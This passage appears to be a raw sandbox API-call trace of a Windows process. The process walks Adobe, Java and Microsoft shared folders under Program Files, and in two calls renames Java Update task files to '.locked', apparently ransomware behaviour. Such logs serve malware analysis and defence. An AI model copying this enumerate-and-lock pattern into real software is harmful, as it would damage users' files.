ftLastAccessTime.dwLowDateTime=0xd9e519a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e519a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.127] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\ARM\\1.0\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e519a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e519a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.131] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e519a0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e519a0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.133] GetFileType (hFile=0xc4) returned 0x1 [0092.134] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ca_ES\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e77b00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e77b00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.135] GetFileType (hFile=0xc4) returned 0x1 [0092.136] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\cs_CZ\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e77b00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e77b00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.137] GetFileType (hFile=0xc4) returned 0x1 [0092.138] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\da_DK\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e77b00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e77b00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.139] GetFileType (hFile=0xc4) returned 0x1 [0092.140] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\de_DE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e77b00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e77b00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.140] GetFileType (hFile=0xc4) returned 0x1 [0092.141] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\en_US\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e77b00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e77b00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.142] GetFileType (hFile=0xc4) returned 0x1 [0092.143] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\es_ES\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e77b00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e77b00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.144] GetFileType (hFile=0xc4) returned 0x1 [0092.145] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\eu_ES\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e77b00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e77b00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.146] GetFileType (hFile=0xc4) returned 0x1 [0092.147] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fi_FI\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e77b00, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e77b00, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.148] GetFileType (hFile=0xc4) returned 0x1 [0092.149] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\fr_FR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e9dc60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e9dc60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.150] GetFileType (hFile=0xc4) returned 0x1 [0092.151] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hr_HR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e9dc60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e9dc60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.152] GetFileType (hFile=0xc4) returned 0x1 [0092.153] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\hu_HU\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e9dc60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e9dc60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.154] GetFileType (hFile=0xc4) returned 0x1 [0092.155] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\it_IT\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e9dc60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e9dc60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.156] GetFileType (hFile=0xc4) returned 0x1 [0092.157] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ja_JP\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e9dc60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e9dc60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.158] GetFileType (hFile=0xc4) returned 0x1 [0092.159] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ko_KR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e9dc60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e9dc60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.160] GetFileType (hFile=0xc4) returned 0x1 [0092.160] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nb_NO\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5a6660, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e9dc60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e9dc60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.161] GetFileType (hFile=0xc4) returned 0x1 [0092.162] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\nl_NL\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e9dc60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e9dc60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.163] GetFileType (hFile=0xc4) returned 0x1 [0092.164] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pl_PL\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9e9dc60, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9e9dc60, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.164] GetFileType (hFile=0xc4) returned 0x1 [0092.165] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\pt_BR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9ec3dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ec3dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.166] GetFileType (hFile=0xc4) returned 0x1 [0092.167] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ro_RO\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9ec3dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ec3dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.168] GetFileType (hFile=0xc4) returned 0x1 [0092.168] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\ru_RU\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9ec3dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ec3dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.170] GetFileType (hFile=0xc4) returned 0x1 [0092.171] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sk_SK\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5f2920, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9ec3dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ec3dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.171] GetFileType (hFile=0xc4) returned 0x1 [0092.172] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sl_SI\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9ec3dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ec3dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.173] GetFileType (hFile=0xc4) returned 0x1 [0092.173] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\sv_SE\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9ec3dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ec3dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.175] GetFileType (hFile=0xc4) returned 0x1 [0092.176] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\tr_TR\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9ec3dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ec3dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.176] GetFileType (hFile=0xc4) returned 0x1 [0092.177] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\uk_UA\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d5cc7c0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9ec3dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ec3dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.178] GetFileType (hFile=0xc4) returned 0x1 [0092.179] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_CN\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9ec3dc0, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ec3dc0, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.179] GetFileType (hFile=0xc4) returned 0x1 [0092.180] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\zh_TW\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd9ee9f20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ee9f20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.181] GetFileType (hFile=0x120) returned 0x1 [0092.182] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xd9ee9f20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ee9f20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0092.184] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\Java\\Java Update\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xd9ee9f20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ee9f20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.187] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Common Files\\Java\\Java Update\\task.xml.locked" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task.xml.locked"), dwFlags=0x2) returned 1 [0092.191] MoveFileExW (lpExistingFileName="C:\\\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task64.xml"), lpNewFileName="C:\\\\Program Files (x86)\\Common Files\\Java\\Java Update\\task64.xml.locked" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\task64.xml.locked"), dwFlags=0x2) returned 1 [0092.192] GetFileType (hFile=0x120) returned 0x1 [0092.193] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\*", lpFindFileData=0x42cf58 | out: lpFindFileData=0x42cf58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9ee9f20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ee9f20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42cd40, cFileName=".", cAlternateFileName="")) returned 0x825890 [0092.193] GetFileType (hFile=0xc8) returned 0x1 [0092.194] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xd9ee9f20, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9ee9f20, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.197] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\*", lpFindFileData=0x42c5f0 | out: lpFindFileData=0x42c5f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd9f10080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f10080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x201, dwReserved1=0x42c3d8, cFileName=".", cAlternateFileName="")) returned 0x8258d0 [0092.198] GetFileType (hFile=0xc4) returned 0x1 [0092.199] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1028\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd9f10080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f10080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.200] GetFileType (hFile=0xc4) returned 0x1 [0092.201] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1031\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd9f10080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f10080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.202] GetFileType (hFile=0xc4) returned 0x1 [0092.203] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1033\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd9f10080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f10080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.204] GetFileType (hFile=0xc4) returned 0x1 [0092.205] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft shared\\Help\\1036\\*", lpFindFileData=0x42bc88 | out: lpFindFileData=0x42bc88*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed84810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xd9f10080, ftLastAccessTime.dwHighDateTime=0x1d55451, ftLastWriteTime.dwLowDateTime=0xd9f10080, ftLastWriteTime.dwHighDateTime=0x1d55451, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x402, dwReserved1=0x42ba70, cFileName=".", cAlternateFileName="")) returned 0x825910 [0092.205] GetFileType (hFile=0xc4) returned 0x1 [0092.206] FindFirstFileA (in: lpFileName="C:\\\\Program Files (x86)\\Common Files\\microsoft 